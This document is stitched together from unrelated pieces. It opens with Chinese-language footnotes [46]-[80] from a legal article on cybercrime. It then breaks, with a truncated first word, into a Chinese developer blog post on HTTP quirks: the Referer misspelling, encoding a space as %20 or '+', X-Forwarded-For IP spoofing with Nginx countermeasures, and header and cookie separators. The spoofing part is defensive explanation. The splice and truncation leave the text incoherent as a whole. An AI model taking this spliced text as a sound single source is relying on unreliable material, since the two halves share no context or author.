[46][阿塞]拉基莫夫:《犯罪与刑罚哲学》,王志华、丛凤玲译,黄道秀校,中国政法大学出版社2016年版,第37页。
[47]於兴中:《时代的法理学:世界与中国》,《浙江社会科学》2016年第1期。
[48][德]李斯特:《德国刑法教科书》,徐久生译,法律出版社2006年版,第8页。
[49]See David D.Thornburg,The Network is the Computer:The Changing Direction of Classroom Computing(2009),available at http://www.tcse-k12.org/pages/network.pdf(last visited January 10,2016),pp.1-4.
[50]See Shahid M.Shahidullah,“Federal Laws and Judicial Trends in the Prosecution of Cyber Crime Cases in the United States:First and Fourth Amendment Issues”,Criminal Law Bulletin,vol.45,no.6 (Winter,2009),ART 2.
[51]Council of Europe web site,at http://www.coe.int/en/web/conventions/full-list/-/conventions/treaty/185/signatures(last visited January 10,2016).
[52]See Convention on Cybercrime,Nov.23,2001,European Treaty Series-No.185,Preamble.
[53]Amalie M.Weber,“The Council of Europe's Convention on Cybercrime”,Berkeley Technology Law Journal,vol.18(2003),p.431;Convention on Cybercrime,Nov.23,2001,European Treaty Se-ries-No.185,ch.Ⅱ§1 tit.1-4.
[54]Council of Europe web site,at http://www.coe.int/en/web/conventions/full-list/-/conventions/treaty/185/signatures(last visited January 10,2016).
[55]See 18 U.S.C.§§1030,1362,2252B,875(b),1951,1028,1028A,1343,1956- 57,1343,1029,2251-52,2423,1465-66A,875,793,2511,2701,1037;15 U.S.C.§§52,6821,1644.
[56]See Catherine Pelker,Anthony J.Palmer,Brittany Raia,Jamin Agosti,“Computer Crime”,A-merican Criminal Law Review,vol.52(Fall,2015),p.795.
[57]See Eric J.Bakewell,Michelle Koldaro,Jennifer M.Tjia,“Computer Crime”,American Crimi-nal Law Review,vol.38(Summer,2001),pp.485-486;Michael W.Carroll,Robert Schrader,“Com-puter-Related Crimes”,American Criminal Law Review,vol.32(Winter,1995),pp.185-186.
[58][日]上田宽:《犯罪学》,戴波、李世阳译,商务印书馆2016年版,第303页。
[59]See Lenese C.Herbert,“Cybercrimes and Hacking Issues”,ALI-ABA Course of Study,vol.SK102 (April,2005),pp.141-143.
[60][德]乌尔里希·齐白:《全球风险社会与信息社会中的刑法》,中国法制出版社2012年版,第308页。
[61][日]伊东研祐:《法益概念史研究》,秦一禾译,中国人民大学出版社2014年版,第259页。
[62]参见张明楷:《法益初论》,中国人民大学出版社2000年版,第197页。
[63][德]考夫曼、哈斯默尔主编:《当代法哲学和法律理论导论》,郑永流译,法律出版社2013年版,第560-564页。
[64]Michael Edmund O'Neill,“Old Crimes in New Bottles:Sanctioning Cybercrime”,George Mason Law Review,vol.9(Winter,2000),p.249.
[65]参见周丽昀:《身体:符号、隐喻与跨界——唐娜·哈拉维“技科学”的主体解析》,《科学技术哲学研究》2011年第5期。
[66]参见[日]上田宽:《犯罪学》,戴波、李世阳译,商务印书馆2016年版,第307页。
[67]赵秉志主编:《〈中华人民共和国刑法修正案(九)〉理解与适用》,中国法制出版社2016年版,第163页。
[68]See Lenese C.Herbert,“Cybercrimes and Hacking Issues”,ALI-ABA Course of Study,vol.SK102 (April,2005),p.141.
[69]See David R.Johnson&David Post,“Law and Borders:The Rise of Law in Cyberspace”,Stan-ford Law Review,vol.48(May,1996),pp.1368,1370,1378,1379.
[70]参见于志强:《我国网络知识产权犯罪制裁体系检视与未来建构》,《中国法学》2014年第3期。
[71]参见张文显主编:《法理学》,高等教育出版社2011年版,第62页。
[72]See Neal Kumar Katyal,“Criminal Law in Cyberspace”,University of Pennsylvania Law Re-view,vol.149(April,2001),pp.1004-1005;Michael Edmund O'Neill,“Old Crimes in New Bottles:Sanctioning Cybercrime”,George Mason Law Review,vol.9(Winter,2000),pp.237-238.
[73]参见阎二鹏:《预备行为实行化的法教义学审视与重构》,《法商研究》2016年第5期。
[74]参见陆旭:《网络服务提供者刑事责任及展开》,《法治研究》2015年第6期。
[75][德]马克思:《1844年经济学哲学手稿》,中共中央马克思恩格斯列宁斯大林著作编译局译,人民出版社2000年版,第57页。
[76]参见张一兵:《回到马克思:经济学语境中的哲学话语》,江苏人民出版社2013年版,第573页。
[77]参见徐育安:《资讯风险与刑事立法》,《台北大学法学论丛》2014年第91期。
[78]Harvey A.Silverglate&Philip G.Cormier,“Old Wine in New Bottles:Cyberspace and the Crim-inal Law”,Boston Bar Journal,vol.41(May/June,1997),p.13.
[79]《中国接入互联网20年大事记》,载http://news.xinhuanet.com/info/2014-04/20/c_133275990.htm,访问时间:2016年7月27日。
[80]Michael Edmund O'Neill,“Old Crimes in New Bottles:Sanctioning Cybercrime”,George Mason Law Review,vol.9(Winter,2000),pp.256-257.
TTP 协议可以说是开发者最熟悉的一个网络协议,「简单易懂」和「易于扩展」两个特点让它成为应用最广泛的应用层协议。
虽然有诸多的优点,但是在协议定义时因为诸多的博弈和限制,还是隐藏了不少暗坑,让人一不小心就会陷入其中。本文总结了 HTTP 规范中常见的几个暗坑,希望大家开发中有意识的规避它们,提升开发体验。
HTTP 标准把 Referrer 写成 Referer(少些了一个 r),可以说是计算机历史上最著名的一个错别字了。
Referer 的主要作用是携带当前请求的来源地址,常用在防爬虫和防盗链上。前段时间闹的沸沸扬扬的新浪图床挂图事件,就是因为新浪图床突然开始检查 HTTP Referer 头,非新浪域名就不返回图片,导致很多蹭流量的中小博客图都挂了。
虽然 HTTP 标准里把 Referer 写错了,但是其它可以控制 Referer 的标准并没有将错就错。
例如禁止网页自动携带 Referer 头的 <meta> 标签,相关关键字拼写就是正确的:
<!-- 全局禁止发送 referrer -->
<meta name="referrer" content="no-referrer" />
还有一个值得注意的是浏览器的网络请求。从安全性和稳定性上考虑,Referer 等请求头在网络请求时,只能由浏览器控制,不能直接操作,我们只能通过一些属性进行控制。比如说 Fetch 函数,我们可以通过 referrer 和 referrerPolicy 控制,而它们的拼写也是正确的:
fetch('/page', {
headers: {
"Content-Type": "text/plain;charset=UTF-8"
},
referrer: "https://demo.com/anotherpage", // <-
referrerPolicy: "no-referrer-when-downgrade", // <-
});
凡是涉及到 Referrer 的,除了 HTTP 字段是错的,浏览器的相关配置字段拼写都是正确的。
这个是个史诗级的大坑,我曾经被这个协议冲突坑了一天。
开始讲解前先看个小测试,在浏览器里输入 blank test( blank 和 test 间有个空格),我们看看浏览器如何处理的:
从动图可以看出浏览器把空格解析为一个加号「+」。
是不是感觉有些奇怪?我们再做个测试,用浏览器提供的几个函数试一下:
encodeURIComponent("blank test") // "blank%20test"
encodeURI("q=blank test") // "q=blank%20test"
new URLSearchParams("q=blank test").toString() // "q=blank+test"
代码是不会说谎的,其实上面的结果都是正确的,encode 结果不一样,是因为 URI 规范和 W3C 规范冲突了,才会搞出这种让人疑惑的乌龙事件。
我们首先看看 URI 中的保留字,这些保留字不参与编码。保留字符一共有两大类:
URI 的编码规则也很简单,先把非限定范围的字符转为 16 进制,然后前面加百分号。
空格这种不安全字符转为十六进制就是 0x20,前面再加上百分号 % 就是 %20:
所以这时候再看 encodeURIComponent 和 encodeURI 的编码结果,就是完全正确的。
既然空格转为%20 是正确的,那转为 + 是怎么回事?这时候我们就要了解一下 HTML form 表单的历史。
早期的网页没有 AJAX 的时候,提交数据都是通过 HTML 的 form 表单。form 表单的提交方法可以用 GET 也可以用 POST,大家可以在 MDN form 词条上测试:
经过测试我们可以看出表单提交的内容中,空格都是转为加号的,这种编码类型就是 application/x-www-form-urlencoded,在 WHATWG 规范里是这样定义的:
到这里基本上就破案了,URLSearchParams 做 encode 的时候,就按这个规范来的。我找到了 URLSearchParams 的 Polyfill 代码,里面就做了 %20 到 + 的映射:
replace={
'!': '%21',
"'": '%27',
'(': '%28',
')': '%29',
'~': '%7E',
'%20': '+', // <=就是这个
'%00': '\x00'
}
规范里对这个编码类型还有解释说明:
The application/x-www-form-urlencoded format is in many ways an aberrant monstrosity, the result of many years of implementation accidents and compromises leading to a set of requirements necessary for interoperability, but in no way representing good design practices. In particular, readers are cautioned to pay close attention to the twisted details involving repeated (and in some cases nested) conversions between character encodings and byte sequences. Unfortunately the format is in widespread use due to the prevalence of HTML forms.
这种编码方式就不是个好的设计,不幸的是随着 HTML form 表单的普及,这种格式已经推广开了
其实上面一大段句话就是一个意思:这玩意儿设计的就是 ,但积重难返,大家还是忍一下吧
在这个小节开始前,我先讲一个开发中的小故事,可以加深一下大家对这个字段的理解。
前段时间要做一个和风控相关的需求,需要拿到用户的 IP,开发后灰度了一小部分用户,测试发现后台日志里灰度的用户 IP 全是异常的,哪有这么巧的事情。随后测试发过来几个异常 IP:
10.148.2.122
10.135.2.38
10.149.12.33
...
一看 IP 特征我就明白了,这几个 IP 都是 10 开头的,属于 A 类 IP 的私有 IP 范围(10.0.0.0-10.255.255.255),后端拿到的肯定是代理服务器的 IP,而不是用户的真实 IP。
现在有些规模的网站基本都不是单点 Server 了,为了应对更高的流量和更灵活的架构,应用服务一般都是隐藏在代理服务器之后的,比如说 Nginx。
加入接入层后,我们就能比较容易的实现多台服务器的负载均衡和服务升级,当然还有其他的好处,比如说更好的内容缓存和安全防护,不过这些不是本文的重点就不展开了。
网站加入代理服务器后,除了上面的几个优点,同时引入了一些新的问题。比如说之前的单点 Server,服务器是可以直接拿到用户的 IP 的,加入代理层后,如上图所示,(应用)原始服务器拿到的是代理服务器的 IP,我前面讲的故事的问题就出在这里。
Web 开发这么成熟的领域,肯定是有现成的解决办法的,那就是 X-Forwarded-For 请求头。
X-Forwarded-For 是一个事实标准,虽然没有写入 HTTP RFC 规范里,从普及程度上看其实可以算 HTTP 规范了。
这个标准是这样定义的,每次代理服务器转发请求到下一个服务器时,要把代理服务器的 IP 写入 X-Forwarded-For 中,这样在最末端的应用服务收到请求时,就会得到一个 IP 列表:
X-Forwarded-For: client, proxy1, proxy2
因为 IP 是一个一个依次 push 进去的,那么第一个 IP 就是用户的真实 IP,取来用就好了。
但是,事实有这么简单吗?
从安全的角度上考虑,整个系统最不安全的就是人,用户端都是最好攻破最好伪造的。有些用户就开始钻协议的漏洞:X-Forwarded-For 是代理服务器添加的,如果我一开始请求的 Header 头里就加了 X-Forwarded-For ,不就骗过服务器了吗?
1. 首先从客户端发出请求,带有 X-Forwarded-For 请求头,里面写一个伪造的 IP:
X-Forwarded-For: fakeIP
2. 服务端第一层代理服务收到请求,发现已经有 X-Forwarded-For,误把这个请求当成代理服务器,于是向这个字段追加了客户端的真实 IP:
X-Forwarded-For: fakeIP, client
3. 经过几层代理后,最终的服务器拿到的 Header 是这样的:
X-Forwarded-For: fakeIP, client, proxy1, proxy2
要是按照取 X-Forwarded-For 第一个 IP 的思路,你就着了攻击者的道了,你拿到的是 fakeIP,而不是 client IP。
服务端如何破招?上面三个步骤:
第二步的破解我拿 Nginx 服务器举例。
我们在最外层的 Nginx 上,对 X-Forwarded-For 的配置如下:
proxy_set_header X-Forwarded-For $remote_addr;
什么意思呢?就是最外层代理服务器不信任客户端的 X-Forwarded-For 输入,直接覆盖,而不是追加。
非最外层的 Nginx 服务器,我们配置:
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
$proxy_add_x_forwarded_for 就是追加 IP 的意思。通过这招,就可以破解用户端的伪造办法。
第三步的破解思路也很容易,正常思路我们是取X-Forwarded-For 最左侧的 IP,这次我们反其道而行之,从右边数,减去代理服务器的数目,那么剩下的 IP 里,最右边的就是真实 IP。
X-Forwarded-For: fakeIP, client, proxy1, proxy2
比如说我们已知代理服务有两层,从右向左数,把 proxy1 和 proxy2 去掉,剩下的 IP 列表最右边的就是真实 IP。
相关思路和代码实现可参考 Egg.js 前置代理模式。
通过 X-Forwarded-For 获取用户真实 IP 时,最好不要取第一个 IP,以防止用户伪造 IP。
HTTP 请求头字段如果涉及到多个 value 时,一般来说每个 value 间是用逗号「,」分隔的,就连非 RFC 标准的 X-Forwarded-For,也是用逗号分隔 value 的:
Accept-Encoding: gzip, deflate, br
cache-control: public, max-age=604800, s-maxage=43200
X-Forwarded-For: fakeIP, client, proxy1, proxy2
因为一开始用逗号分隔 value,后面想再用一个字段修饰 value 时,分隔符就变成了分号「;」,最典型的请求头就是 Accept 了:
// q=0.9 修饰的是 application/xml,虽然它们之间用分号分隔
Accept: text/html, application/xml;q=0.9, */*;q=0.8
虽然 HTTP 协议易于阅读,但是这个分隔符用的还是很不符合常识的。按常理来说,分号的断句语气是强于逗号的,但是在 HTTP 内容协商的相关字段里却是反过来的。这里的定义可以看 RFC 7231,写的还是比较清楚的。
和常规认识不同,Cookie 其实不算 HTTP 标准,定义 Cookie 的规范是 RFC 6265,所以分隔符规则也不一样了。规范里定义的 Cookie 语法规则是这样的:
cookie-header="Cookie:" OWS cookie-string OWS
cookie-string=cookie-pair *( ";" SP cookie-pair )
多个 cookie 之间是用分号「;」分隔的,而不是逗号「,」。我随便扒了个网站的 cookie,可见是用分号分隔的,这里需要特别注意一下:
*请认真填写需求信息,我们会在24小时内与您取得联系。